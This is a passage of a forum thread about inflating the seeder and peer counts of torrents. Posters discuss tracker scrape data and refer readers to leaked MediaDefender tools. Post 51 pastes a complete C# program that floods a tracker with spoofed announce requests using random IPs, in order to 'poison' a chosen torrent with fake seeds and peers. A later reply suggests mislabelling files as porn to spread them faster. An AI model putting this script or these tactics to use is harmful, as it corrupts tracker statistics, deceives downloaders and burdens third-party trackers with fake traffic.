+ Reply to Thread
Page 4 of 5 FirstFirst ... 2345 LastLast
Results 46 to 60 of 69

Thread: Inflating the number of peers on a torrent?

  1. #46
    Moderator anon's Avatar
    Join Date
    01.02.08
    Posts
    39,452
    Activity Longevity
    8/20 19/20
    Today Posts
    1/5 ssss39452
    Quote Originally Posted by cmouse35 View Post
    So changing tracker config file is out of question, maybe in future version of Vuze Mod, this function/feature will be allowed if you are running your own Vuze tracker.
    Maybe as part of the Extreme Mod if one of our coders adds it, yes - but just for the record you'll never see it in the official client for obvious reasons.

    However, if you have some degree of coding knowledge, look for the MediaDefender leaked source code - it has some tools you may find useful if you can get to compile them (I think I've already mentioned this in the past).
    "I just remembered something that happened a long time ago."
    Reply With QuoteReply With Quote
    Thanks

  2. #47

    Join Date
    11.04.10
    P2P Client
    Az
    Posts
    11
    Activity Longevity
    0/20 17/20
    Today Posts
    0/5 sssssss11
    Quote Originally Posted by anon View Post
    Maybe as part of the Extreme Mod if one of our coders adds it, yes - but just for the record you'll never see it in the official client for obvious reasons.

    However, if you have some degree of coding knowledge, look for the MediaDefender leaked source code - it has some tools you may find useful if you can get to compile them (I think I've already mentioned this in the past).
    Sorry, if I could code, I would have done that & released it to the public... the max I can do is scripting & perl.

    Since this is the homesite of Extreme mod, where do I put this request for coders to consider in next release?


    Thanks
    Reply With QuoteReply With Quote
    Thanks

  3. #48
    Moderator anon's Avatar
    Join Date
    01.02.08
    Posts
    39,452
    Activity Longevity
    8/20 19/20
    Today Posts
    1/5 ssss39452
    Quote Originally Posted by cmouse35 View Post
    Since this is the homesite of Extreme mod, where do I put this request for coders to consider in next release?
    You can make a new thread in the BT Talk section if you aren't sure they've seen your posts here already.
    "I just remembered something that happened a long time ago."
    Reply With QuoteReply With Quote
    Thanks

  4. #49

    Join Date
    11.04.10
    P2P Client
    Az
    Posts
    11
    Activity Longevity
    0/20 17/20
    Today Posts
    0/5 sssssss11
    OK, here is a DATA capture between tracker & vuze client...

    Code:
    bittorrent.protocol.name.length == 19
    bittorrent.protocol.name == "BitTorrent protocol"
    bittorrent.reserved == 80:00:00:00:00:13:00:00
    bittorrent.info_hash == b9:a3:95:2a:b9:0d:8b:db:62:6c:6d:ba:43:70:51:97:70:42:f9:2e
    bittorrent.peer_id == 2d:41:5a:34:33:30:34:2d:45:50:75:6a:31:75:58:35:50:6b:38:36
    
    
    GET /scrape?info_hash=%1B%C8%BE%DC%3A%DBl%185MT%93%3FjY%A0%FDN%A0%98 HTTP/1.1
    User-Agent: Azureus 4.3.0.4;Windows XP;Java 1.6.0_19
    Accept-Encoding: gzip
    Connection: close
    Host: inferno.demonoid.com:3394
    Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
    
    HTTP/1.0 200 OK
    d5:filesd20:....:.l.5MT.?jY..N..d8:completei625e10:downloadedi1358e10:incompletei1099eee5:flagsd20:min_request_intervali7200eee
    
    
    can anyone decode the last part which is the data send by tracker to me. If any hack possible it would be this data... 
    "   d5:filesd20:....:.l.5MT.?jY..N..d8:completei625e10:downloadedi1358e10:incompletei1099eee5:flagsd20:min_request_intervali7200eee
    
    "
    all Exterme Mod would have to do is modify this data on the fly when Vuze acts as tracker & sends out tracking info.

    This data seems very similar to the one found in tracker.config file of Vuze when it host a torrent.
    Last edited by anon; 12.04.10 at 21:07. Reason: Use the CODE tag
    Reply With QuoteReply With Quote
    Thanks

  5. #50
    Moderator anon's Avatar
    Join Date
    01.02.08
    Posts
    39,452
    Activity Longevity
    8/20 19/20
    Today Posts
    1/5 ssss39452
    Code:
    d8:completei625e10:downloadedi1358e10:incompletei1099eee5:flagsd20:min_request_intervali7200eee
    Number of snatches, current amount of seeders and leechers, flags(?) and the minimum announce interval.

    It's indeed the data that's stored inside the config file. Perhaps I'm wrong and you can use Bencode Editor to change the numbers, but I doubt it.
    "I just remembered something that happened a long time ago."
    Reply With QuoteReply With Quote
    Thanks

  6. #51

    Join Date
    11.04.10
    P2P Client
    Az
    Posts
    11
    Activity Longevity
    0/20 17/20
    Today Posts
    0/5 sssssss11

    Lightbulb

    You were right earlier, tracker.config file handles only...

    date added
    hash
    passive (what ever that means)
    persistent

    Stats->
    announces
    Byte in/out
    completed
    downloaded
    scraps
    uploaded


    status

    The stuff in RED can be changed & Vuze tracker restarted... it will start with new values you use.


    So from all this it seems a team effort by both tracker file & tracker software

    so back to where we started... Vuze software tracker part stores seeds & peers info in the memory, I don't think that is written anywhere as file.

    so only way I see to fake peers/seeds is to Extreme Mod the tracker software of Vuze.

    ---------- Post added at 16:13 ---------- Previous post was at 14:09 ----------

    Here is a C++ code to fake peers & seeds... NOT my work!

    Code:
    /*
    *
    * This C# code sends hundreds of announce requests per minute.
    *
    * I know you C fanboys are pulling you hair out right now, but I don’t care. C# is the win, bitches.
    *
    */
    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.Net;
    using System.Threading;
    
    namespace SeedFucker
    {
    class Program
    {
    static void Main(string[] args)
    {
    // create a thread pool with 5 threads
    List<Thread> tp = new List<Thread>();
    for (int i = 0; i < 5; i++)
    {
    tp.Add(new Thread(TorrentThread));
    tp[i].Start();
    Thread.Sleep(10);
    }
    while (true)
    {
    Thread.Sleep(50);
    }
    }
    
    static void TorrentThread()
    {
    // create a web client with a “no cache” policy
    WebClient wc = new WebClient();
    wc.CachePolicy = new System.Net.Cache.RequestCachePolicy(System.Net.Cac he.RequestCacheLevel.BypassCache);
    
    // the infohash of the torrent we want to poison
    string hash = “1d7e4cf69af1d88ba426572bfb98c4f603f5d2c1″;
    
    // encode the hash
    string hashEncoded = “”;
    for (int i = 0; i < 20; i++)
    {
    hashEncoded += “%” + hash[i * 2] + hash[(i * 2) + 1];
    }
    
    // enter the main loop
    while (true)
    {
    // generate a random IP address
    string ip = GenerateIP();
    // create a timestamp for display purposes
    string time = “[" + DateTime.Now.Hour.ToString().PadLeft(2, '0') + ":" + DateTime.Now.Minute.ToString().PadLeft(2, '0') + ":" + DateTime.Now.Second.ToString().PadLeft(2, '0') + "] “;
    
    // if completed == true then we’re pretending to be a seed. otherwise pretend to be a peer
    bool completed = (RNG.Next(0, 3) == 0);
    string torrentEvent = (completed ? “completed” : “started”);
    // pick a random size
    int left = (completed ? 0 : RNG.Next(1024 * 1024 * 2, 1024 * 1024 * 1024));
    // create the url – change the announce url to whatever your particular torrent is using
    string url = “http://tracker.example.com/announce?info_hash=” + hashEncoded + “&peer_id=” + RNG.Next(1000000, 9999999).ToString() + RNG.Next(100000, 999999).ToString() + RNG.Next(1000000, 9999999).ToString() + “&port=” + RNG.Next(5000, 32000).ToString() + “&uploaded=0&downloaded=0&left=” + left.ToString() + “&event=” + torrentEvent + “&numwant=5&ip=” + ip;
    // attempt the announce
    try
    {
    wc.DownloadData(url);
    Console.WriteLine(time + “Sent tracker request: ” + (completed ? “Seed” : “Peer”) + ” [" + ip + "]“);
    }
    catch
    {
    }
    }
    }
    
    static string GenerateIP()
    {
    // generate an IP in the range [50-220].[10-100].[1-255].[1-255]
    return RNG.Next(50, 220).ToString() + “.” + RNG.Next(10, 100).ToString() + “.” + RNG.Next(1, 255).ToString() + “.” + RNG.Next(1, 255).ToString();
    }
    }
    
    class RNG
    {
    private static Random _rng = new Random();
    
    public static int Next(int min, int max)
    {
    return _rng.Next(min, max);
    }
    }
    }
    Reply With QuoteReply With Quote
    Thanks

  7. #52
    Advanced User saebrtooth's Avatar
    Join Date
    21.06.09
    Location
    somewhere?
    P2P Client
    An eMule & VEM
    Posts
    2,150
    Activity Longevity
    0/20 18/20
    Today Posts
    0/5 sssss2150
    @cmouse35, do u mnd sharing with us what ur intentions are after havng successfully spoofing inflated peers on ur own tracker using Vuze?
    dont ban me just spank me
    Reply With QuoteReply With Quote
    Thanks

  8. #53

    Join Date
    11.04.10
    P2P Client
    Az
    Posts
    11
    Activity Longevity
    0/20 17/20
    Today Posts
    0/5 sssssss11
    Quote Originally Posted by saebrtooth View Post
    @cmouse35, do u mnd sharing with us what ur intentions are after havng successfully spoofing inflated peers on ur own tracker using Vuze?

    It's already been answered many times... even in this thread

    ---------- Post added at 18:33 ---------- Previous post was at 18:29 ----------

    Quote Originally Posted by saebrtooth View Post
    @cmouse35, do u mnd sharing with us what ur intentions are after havng successfully spoofing inflated peers on ur own tracker using Vuze?


    Oh btw... it also includes my evil plan of taking over the world
    Reply With QuoteReply With Quote
    Thanks

  9. #54
    Advanced User saebrtooth's Avatar
    Join Date
    21.06.09
    Location
    somewhere?
    P2P Client
    An eMule & VEM
    Posts
    2,150
    Activity Longevity
    0/20 18/20
    Today Posts
    0/5 sssss2150
    Quote Originally Posted by cmouse35 View Post
    if you are running your own tracker in Vuze, I should be able to manipulate the data as needed. As I do not have control over open tracker so no point of talking about it.
    sory the reason why I ask is because I find nt much benefit in it unless a user is searching for the same torrent ur wanting to inflate thru a web crawler recording ur tracker stats as I said before.

    Do u have any others?
    dont ban me just spank me
    Reply With QuoteReply With Quote
    Thanks

  10. #55

    Join Date
    11.04.10
    P2P Client
    Az
    Posts
    11
    Activity Longevity
    0/20 17/20
    Today Posts
    0/5 sssssss11
    Hi, I am not try to inflate other torrents, only mine which are posted on sites. Trust me, it works just need a way to tweak so I can control # of seeds/peers.

    Thanks

    ---------- Post added at 19:52 ---------- Previous post was at 19:51 ----------

    btw, are you from Extreme Mod team for Vuze?
    Reply With QuoteReply With Quote
    Thanks

  11. #56
    Advanced User saebrtooth's Avatar
    Join Date
    21.06.09
    Location
    somewhere?
    P2P Client
    An eMule & VEM
    Posts
    2,150
    Activity Longevity
    0/20 18/20
    Today Posts
    0/5 sssss2150
    Quote Originally Posted by cmouse35 View Post
    Hi, I am not try to inflate other torrents, only mine which are posted on sites. Trust me, it works just need a way to tweak so I can control # of seeds/peers.

    Thanks
    Im not saying what ur doing is a bad thing Im just inquisitive as to what ends this exercise will bring apart from what I have mentined.


    Quote Originally Posted by cmouse35 View Post


    ---------- Post added at 19:52 ---------- Previous post was at 19:51 ----------

    btw, are you from Extreme Mod team for Vuze?
    These members have "Coder" below their name
    dont ban me just spank me
    Reply With QuoteReply With Quote
    Thanks

  12. #57

    Join Date
    11.04.10
    P2P Client
    Az
    Posts
    11
    Activity Longevity
    0/20 17/20
    Today Posts
    0/5 sssssss11
    I personally after downloading & installing Extreme Mod for Vuze did not enabled Fake Upload feature as I believe in sharing, so I at least share upto 100% of what I have downloaded. But I wanted this feature to promote my own freeware etc, this seems to be the best way to do it. Since not have bigger name like Microsoft which people will download torrent anyway, this seems to be the best way to promote w/o big name.
    Reply With QuoteReply With Quote
    Thanks

  13. Who Said Thanks:

    saebrtooth (13.04.10)

  14. #58
    Advanced User saebrtooth's Avatar
    Join Date
    21.06.09
    Location
    somewhere?
    P2P Client
    An eMule & VEM
    Posts
    2,150
    Activity Longevity
    0/20 18/20
    Today Posts
    0/5 sssss2150
    That is a very nice of u

    U might also want to try emule too to promo ur stuff, a good and descriptive name is always helpful and adding 'porn' to another copies's filename always get it out faster.

    ---------- Post added at 05:18 ---------- Previous post was at 05:15 ----------

    Although keep in mind the latter method might tick people off
    dont ban me just spank me
    Reply With QuoteReply With Quote
    Thanks

  15. #59
    Moderator anon's Avatar
    Join Date
    01.02.08
    Posts
    39,452
    Activity Longevity
    8/20 19/20
    Today Posts
    1/5 ssss39452
    Quote Originally Posted by cmouse35 View Post
    But I wanted this feature to promote my own freeware etc, this seems to be the best way to do it. Since not have bigger name like Microsoft which people will download torrent anyway, this seems to be the best way to promote w/o big name.
    Bear in mind big amounts of seeders may cause people to hit and run in your torrents, thinking it's OK since they're well-seeded (while they aren't).
    "I just remembered something that happened a long time ago."
    Reply With QuoteReply With Quote
    Thanks

  16. #60

    Join Date
    11.04.10
    P2P Client
    Az
    Posts
    11
    Activity Longevity
    0/20 17/20
    Today Posts
    0/5 sssssss11
    what's up?
    Reply With QuoteReply With Quote
    Thanks

+ Reply to Thread
Page 4 of 5 FirstFirst ... 2345 LastLast

Tags for this Thread

Posting Permissions

  • You may post new threads
  • You may post replies
  • You may not post attachments
  • You may not edit your posts
  •